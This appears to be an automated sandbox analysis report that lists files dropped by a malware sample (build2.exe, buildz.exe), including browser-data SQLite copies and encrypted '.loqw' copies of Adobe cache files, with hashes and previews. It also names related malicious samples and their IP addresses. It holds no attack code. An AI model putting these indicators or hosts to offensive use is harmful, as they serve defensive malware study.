	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	207.180.199.64
	Rechnung002387723.exe	Get hash	malicious	AveMaria, UACMe	Browse	173.212.199.134

Process:	C:\Users\user\AppData\Local\0e02b0bb-f517-46fa-b1ee-2b79cc8d533e\build2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ECFHJKEB

Download File

Process:	C:\Users\user\AppData\Local\0e02b0bb-f517-46fa-b1ee-2b79cc8d533e\build2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GCAFCAFHJJDBFIECFBKE

Download File

Process:	C:\Users\user\AppData\Local\0e02b0bb-f517-46fa-b1ee-2b79cc8d533e\build2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GIIDBGDA

Download File

Process:	C:\Users\user\AppData\Local\0e02b0bb-f517-46fa-b1ee-2b79cc8d533e\build2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HCFCAAEB

Download File

Process:	C:\Users\user\AppData\Local\0e02b0bb-f517-46fa-b1ee-2b79cc8d533e\build2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	modified
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JDHCBAEH

Download File

Process:	C:\Users\user\AppData\Local\0e02b0bb-f517-46fa-b1ee-2b79cc8d533e\build2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JJJEGHDAECBFHJKEGIJK

Download File

Process:	C:\Users\user\AppData\Local\0e02b0bb-f517-46fa-b1ee-2b79cc8d533e\build2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_spfasiazx.exe_bd3554ce2548d8f5b2aa92a88f353bf7b311e8af_56e93722_c46a93f3-179b-4819-8f48-ee9af9a52b7b\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8791335562660096
Encrypted:	false
SSDEEP:	96:xkFFdtMp+kEHtQVUUyxXExQXIDcQvc6QcEVcw3cE/n+BHUHZopAnQHdE7HeS9+xJ:eltMQkElr0BU/KaC0zuiF2Z24IO8jQ
MD5:	6FCCFEA52BC95929D1CD7DF7BD7791C8
SHA1:	7E275E8DC155BF84A8B691768FFF5F62B6FADC44
SHA-256:	6AAAA0758C5E016A16D6FDCBB89BAB7C7AD8ADF59F243CABB7BA3A705577B333
SHA-512:	51EFD36F45B77174FC75EF48FFDC79F3EA68CA3A6ABBA7FF6DA5FF2D84076D6E708EEC80ED6D6CFA0384F51383AE78D212D53BAC2BB0FB0DE53A555493C2B647
Malicious:	false
Reputation:	unknown
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.C.L.R.2.0.r.3.....E.v.e.n.t.T.i.m.e.=.1.3.3.4.7.5.5.6.5.0.1.6.4.8.9.6.7.4.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.4.7.5.5.6.5.0.2.2.4.2.7.1.7.2.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.c.4.6.a.9.3.f.3.-.1.7.9.b.-.4.8.1.9.-.8.f.4.8.-.e.e.9.a.f.9.a.5.2.b.7.b.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.b.d.0.8.6.b.f.-.5.e.b.c.-.4.4.a.a.-.8.3.7.e.-.9.0.d.5.5.8.3.b.d.9.9.8.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.s.p.f.a.s.i.a.z.x...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.L.p.f.y...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.5.6.8.-.0.0.0.1.-.0.0.1.4.-.f.a.4.2.-.a.b.b.6.5.1.3.3.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.f.a.f.b.b.3.1.8.0.9.2.9.4.4.f.4.e.0.0.7.e.0.7.d.e.e.0.8.c.6.f.1.0.0.0.0.0.0.0.0.!.0.0.0.0.7.f.d.c.e.e.9.d.5.e.4.b.b.6.a.b.3.f.e.8.1.9.5.6.4.0.e.a.e.f.4.b.f.8.7.1.e.3.6.3.!.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7523.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Wed Dec 20 14:35:01 2023, 0x1205a4 type
Category:	dropped
Size (bytes):	177646
Entropy (8bit):	3.6847066780818465
Encrypted:	false
SSDEEP:	1536:qPek/YIAuBojRypN4uE2aOC5LTgy++D8zhAmlWm5NtCD1nRtT9U6f:qnOU4uEqyLTgb+D8Zjc1Py6
MD5:	703C7E3562ACD5B5A8A0BDE36FB58301
SHA1:	77D9DE9F61EB19E5150B222260F021497EBB05DE
SHA-256:	568533E7230595AC725248CE76538DB9CCA7EEADD9D81F221E6424A496B9897F
SHA-512:	D10228CD9AD4EB4673591DBDB4D46B6C1F546451E1869C3934BABA2E5FDFC0874E39A0B4C1F3FFCBE55D764A6F48D7FC1E7137F4EEF016A0A57C029F3572A179
Malicious:	false
Reputation:	unknown
Preview:	MDMP..a..... ..........e....................................$...`............7..........`.......8...........T............!..........................p...............................................................................eJ..............GenuineIntel............T.......h......e.............................0..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER763D.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8334
Entropy (8bit):	3.689067090146777
Encrypted:	false
SSDEEP:	192:R6l7wVeJVz6u6YBh62FgmfZpSHpr089byUsfpGm:R6lXJx6u6Yn62Fgmfn4yHfB
MD5:	49FA6457A9C9D25A296A5B4E341EF008
SHA1:	DC6DA5D01E39922B46882341E9120A46D88FCBCA
SHA-256:	1C53103033A44B165FF764E27B3B7048AFAC004F6AE904E033C3344E3543FDC2
SHA-512:	707956D06EED4C7D7549D58D1D95C5D029529EC7FB7893760946301BA046240C50B16297B3E4007A02F93E7C2FAD0FF7E1AC8BB6854C6590E19FC76CD344C88B
Malicious:	false
Reputation:	unknown
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.5.4.8.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER766D.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4746
Entropy (8bit):	4.453554093352951
Encrypted:	false
SSDEEP:	48:cvIwWl8zsUJg77aI9L8HTWpW8VYvAzYm8M4JvtKO7FQ+q8vAtKOTdl5EQF9d:uIjfSI7GC7VaTJ0bKX2dlaQTd
MD5:	8EB90A75FB93CF0B609E4BD9D8D943EA
SHA1:	B1FD3552D16C43B66AB8A3D23059CF133A52A8EB
SHA-256:	1084E9411D44DED90DD6B433B036AF38BD36EF7396E099496147C2F611DFCBDE
SHA-512:	C64C849532F58CFE1B0CFB7937479662968051DD3B4CF74601EC07561D8DA789AC24F2A9698B4D4EA5A3A9252947180F3C0965D80EC133797C56BD036F1E1550
Malicious:	false
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="112657" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	626
Entropy (8bit):	7.681198772551176
Encrypted:	false
SSDEEP:	12:kNZnBaxrEGPq3CKRFwc8DacdENFiCVS4ee0gFRTPjS1D9uHV1+cii9a:qGPqyWwc8DaMCQ4B0w/OfbD
MD5:	5F44D660C7CEF1DA1D54B1EFC3BE7B44
SHA1:	2D82FEEAAC1A9148F1C9185AC9398C7106739E65
SHA-256:	DF30E51180E6F6D251B389A66BE135E3FE35982EE80CC901D778ADDB5CA42F5E
SHA-512:	8B21A3C0FC575BC6D8B39BF0E082B9C23380D23930FE5C1C1A12C6026B8DD1E9727A8F8D3F6BFE922C61E4B819F717C690A4E2686975CEF1CAE8EA86CDFCE3E9
Malicious:	false
Reputation:	unknown
Preview:	2023/d....Qt.@..[.. ..B...{.Y....V0{=..a...6.....L..6.W@4..K...s.\8zND....JO...E........9..~..O......P.,...dg%.&.4...........z..w..`v&....`S....BZ..t...$.......\IWQsy..0..T.j.......Q.....d...;...8O1j..,..B0...b...Av^.\|.Sl{a.7...._:...a...../..../..O...qdA..al..NP@..I..7i)j@.......]emp...L]C~.;].EJ.}"...f.k.\|Z.`......#..0'..=2..n=.E".....tH?...G.\^\|.eE..&LR.ap.?%...7.d.E...8y.......<..3L..{.........x..~.A.]j......fg..w.e8...;....>*.._...k^.....6c+Z.M.....?4....h.b".KmN...)..'..)5.....wX......'..........-..C.}.:....v.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old.loqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	626
Entropy (8bit):	7.681198772551176
Encrypted:	false
SSDEEP:	12:kNZnBaxrEGPq3CKRFwc8DacdENFiCVS4ee0gFRTPjS1D9uHV1+cii9a:qGPqyWwc8DaMCQ4B0w/OfbD
MD5:	5F44D660C7CEF1DA1D54B1EFC3BE7B44
SHA1:	2D82FEEAAC1A9148F1C9185AC9398C7106739E65
SHA-256:	DF30E51180E6F6D251B389A66BE135E3FE35982EE80CC901D778ADDB5CA42F5E
SHA-512:	8B21A3C0FC575BC6D8B39BF0E082B9C23380D23930FE5C1C1A12C6026B8DD1E9727A8F8D3F6BFE922C61E4B819F717C690A4E2686975CEF1CAE8EA86CDFCE3E9
Malicious:	false
Reputation:	unknown
Preview:	2023/d....Qt.@..[.. ..B...{.Y....V0{=..a...6.....L..6.W@4..K...s.\8zND....JO...E........9..~..O......P.,...dg%.&.4...........z..w..`v&....`S....BZ..t...$.......\IWQsy..0..T.j.......Q.....d...;...8O1j..,..B0...b...Av^.\|.Sl{a.7...._:...a...../..../..O...qdA..al..NP@..I..7i)j@.......]emp...L]C~.;].EJ.}"...f.k.\|Z.`......#..0'..=2..n=.E".....tH?...G.\^\|.eE..&LR.ap.?%...7.d.E...8y.......<..3L..{.........x..~.A.]j......fg..w.e8...;....>*.._...k^.....6c+Z.M.....?4....h.b".KmN...)..'..)5.....wX......'..........-..C.}.:....v.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	670
Entropy (8bit):	7.666227690602122
Encrypted:	false
SSDEEP:	12:kSiDO/Jh9QV8GK/5CZ2+nPCiUyUEA7VY1V9tuFgi0gYM+6GI1+cii9a:piDOx/EVZ1CiUVY1MFHajbD
MD5:	E3046B9174E41D8D0E1155F018759389
SHA1:	2A62DF149E966279F9D3B6C9EF5BAD9BF27D7DF6
SHA-256:	F1E1D34FDBE483CCF21B2C5BAF6921288F4508595E728C101560E765EA212B4A
SHA-512:	1F2D51B8F4BA541DADD11543B8F584EA7115DB63D5259A961E468E9F27E6B3676B46A005B71A3133A2C552D4A6AD2B15CC82C31F59D3ACF456500C4158789CD1
Malicious:	false
Reputation:	unknown
Preview:	2023/...Z.v/W..>..n.%..........)...[..x.g.S......D&.Q....d3.k7./.&X-..S.`.0..[TD.."..\|&.ic.....T`....Xlm..cG....{.v.w..g.\\|.XA.6...:...+.....!..)....x6...$M.oN..>.'.0oG).XK#c.>...x.t....J.I..".>s.....VS!......n.vo..m.4$fO...Z.....gxI...}@.l..L.4......a........m.[....k.Prw[m.U...J.Ef.w+(.$.Q._.]\|+:....57.N.........:.T..f.z@0.Yr.U.R......R.4i.....j...U..W..]$.(...FV...R...W./.X.O...W..w.oe.D...........^.ns..6......,........)..>q~.\|...m..2.A.........@..?...;@`.].=4...n..oa..{?..8.X..o.z7.,..'45t;....Ef.-.Nj8X....O...Gt..T.H.....i.....A.^.R.....g..C..[*..k.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old.loqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	670
Entropy (8bit):	7.666227690602122
Encrypted:	false
SSDEEP:	12:kSiDO/Jh9QV8GK/5CZ2+nPCiUyUEA7VY1V9tuFgi0gYM+6GI1+cii9a:piDOx/EVZ1CiUVY1MFHajbD
MD5:	E3046B9174E41D8D0E1155F018759389
SHA1:	2A62DF149E966279F9D3B6C9EF5BAD9BF27D7DF6
SHA-256:	F1E1D34FDBE483CCF21B2C5BAF6921288F4508595E728C101560E765EA212B4A
SHA-512:	1F2D51B8F4BA541DADD11543B8F584EA7115DB63D5259A961E468E9F27E6B3676B46A005B71A3133A2C552D4A6AD2B15CC82C31F59D3ACF456500C4158789CD1
Malicious:	false
Reputation:	unknown
Preview:	2023/...Z.v/W..>..n.%..........)...[..x.g.S......D&.Q....d3.k7./.&X-..S.`.0..[TD.."..\|&.ic.....T`....Xlm..cG....{.v.w..g.\\|.XA.6...:...+.....!..)....x6...$M.oN..>.'.0oG).XK#c.>...x.t....J.I..".>s.....VS!......n.vo..m.4$fO...Z.....gxI...}@.l..L.4......a........m.[....k.Prw[m.U...J.Ef.w+(.$.Q._.]\|+:....57.N.........:.T..f.z@0.Yr.U.R......R.4i.....j...U..W..]$.(...FV...R...W./.X.O...W..w.oe.D...........^.ns..6......,........)..>q~.\|...m..2.A.........@..?...;@`.].=4...n..oa..{?..8.X..o.z7.,..'45t;....Ef.-.Nj8X....O...Gt..T.H.....i.....A.^.R.....g..C..[*..k.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LocalPrefs.json

Download File

Process:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.760868798428245
Encrypted:	false
SSDEEP:	24:YKWmHZWeA2Md4vC1H4I4q96Fef3u689oBaVDbD:YyZpA5uadJV9cef3OocVXD
MD5:	063281364133C17BB5471A6389210595
SHA1:	28D65FE09FA404A33239193FC481958B52530F2D
SHA-256:	68E8B38D9AEC0CB8433A343DBA86642D11FD91B1488659DA241D3BC6C453F29C
SHA-512:	07F425FDCFECBA461C64A1699297F649A12E80160BF29FDA7ACD198D1AC392C6FE65ED08615F2FC433319BDF284FB9B562DDE720C1AEC131DE23A35C5AA9E374
Malicious:	false
Reputation:	unknown
Preview:	{"os_(.m...R....P..0`.... a.q.r.5`!......]..8#=.n...w,k.S....E\|...b.N.......p#......t.4M.m...5._).=.U..=.,>...:.;....w..e........,.....q..@.;7....:._.E.M...a..d5`..D..t.....+.w....#(^..e....<......\..\Z;.G./;.Fa..>.<:?.Y.......y.#..7nX5..6!.Z.y_..x..C..K..6.0..[.$Zwj6.9...7...f..I.i.. .F0. V.+..Lp.G.z<:C....W.....dh...k.d..\|...z}eW.sdm...dH.s......aUa<....V.$=E..6...MK.=$....#..<...If...'.Qj.Q0..\..^P...s-.M<.y......T"..H$..ha....& up.E.....A.&2.h0P.T.4..B.-Ej.`.s.=.>..]..O..x..T.e...9....5H...CgR.b.....l.`0....s../.yD....Q>.wIa.@6.1..C....k......'....3...koFk..3....vY....G.Z.y...xW.`. h.;..d4u.lc~3q...o..Z....~...$c.;.Sl.^u.JM...c$.4q.P.$..o..'..H1..+.........w0..k..8.....'I.....2.M.O...C$..&gSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LocalPrefs.json.loqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.760868798428245
Encrypted:	false
SSDEEP:	24:YKWmHZWeA2Md4vC1H4I4q96Fef3u689oBaVDbD:YyZpA5uadJV9cef3OocVXD
MD5:	063281364133C17BB5471A6389210595
SHA1:	28D65FE09FA404A33239193FC481958B52530F2D
SHA-256:	68E8B38D9AEC0CB8433A343DBA86642D11FD91B1488659DA241D3BC6C453F29C
SHA-512:	07F425FDCFECBA461C64A1699297F649A12E80160BF29FDA7ACD198D1AC392C6FE65ED08615F2FC433319BDF284FB9B562DDE720C1AEC131DE23A35C5AA9E374
Malicious:	false
Reputation:	unknown
Preview:	{"os_(.m...R....P..0`.... a.q.r.5`!......]..8#=.n...w,k.S....E\|...b.N.......p#......t.4M.m...5._).=.U..=.,>...:.;....w..e........,.....q..@.;7....:._.E.M...a..d5`..D..t.....+.w....#(^..e....<......\..\Z;.G./;.Fa..>.<:?.Y.......y.#..7nX5..6!.Z.y_..x..C..K..6.0..[.$Zwj6.9...7...f..I.i.. .F0. V.+..Lp.G.z<:C....W.....dh...k.d..\|...z}eW.sdm...dH.s......aUa<....V.$=E..6...MK.=$....#..<...If...'.Qj.Q0..\..^P...s-.M<.y......T"..H$..ha....& up.E.....A.&2.h0P.T.4..B.-Ej.`.s.=.>..]..O..x..T.e...9....5H...CgR.b.....l.`0....s../.yD....Q>.wIa.@6.1..C....k......'....3...koFk..3....vY....G.Z.y...xW.`. h.;..d4u.lc~3q...o..Z....~...$c.;.Sl.^u.JM...c$.4q.P.$..o..'..H1..+.........w0..k..8.....'I.....2.M.O...C$..&gSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	4168
Entropy (8bit):	7.958821876490303
Encrypted:	false
SSDEEP:	96:fqxliux04y+8WvbwaDaMbW/KUd8Y2z7RG1MbtW3V9A3YFdKvjanaln5:fqlq4rkaDLS/KUdMz+MbtWl9AYFdva95
MD5:	553E8B6DB7C75C40E5BD168412990616
SHA1:	19632C2C4E2E8FAA13B127DD4E8E3C9618CE4C63
SHA-256:	3E301B9795266D94A04538A1B776180C4C651D6BA9FB817FFF7D116639103BB6
SHA-512:	D0EB6B21F9F2418B4B00F2B8530F4A5733960CABCD8CBA1F1D9FC178ADF14A418A36F48C99FB0FED186F3B533C73AE15864B2F00AB8519A92C01245256B37F86
Malicious:	false
Reputation:	unknown
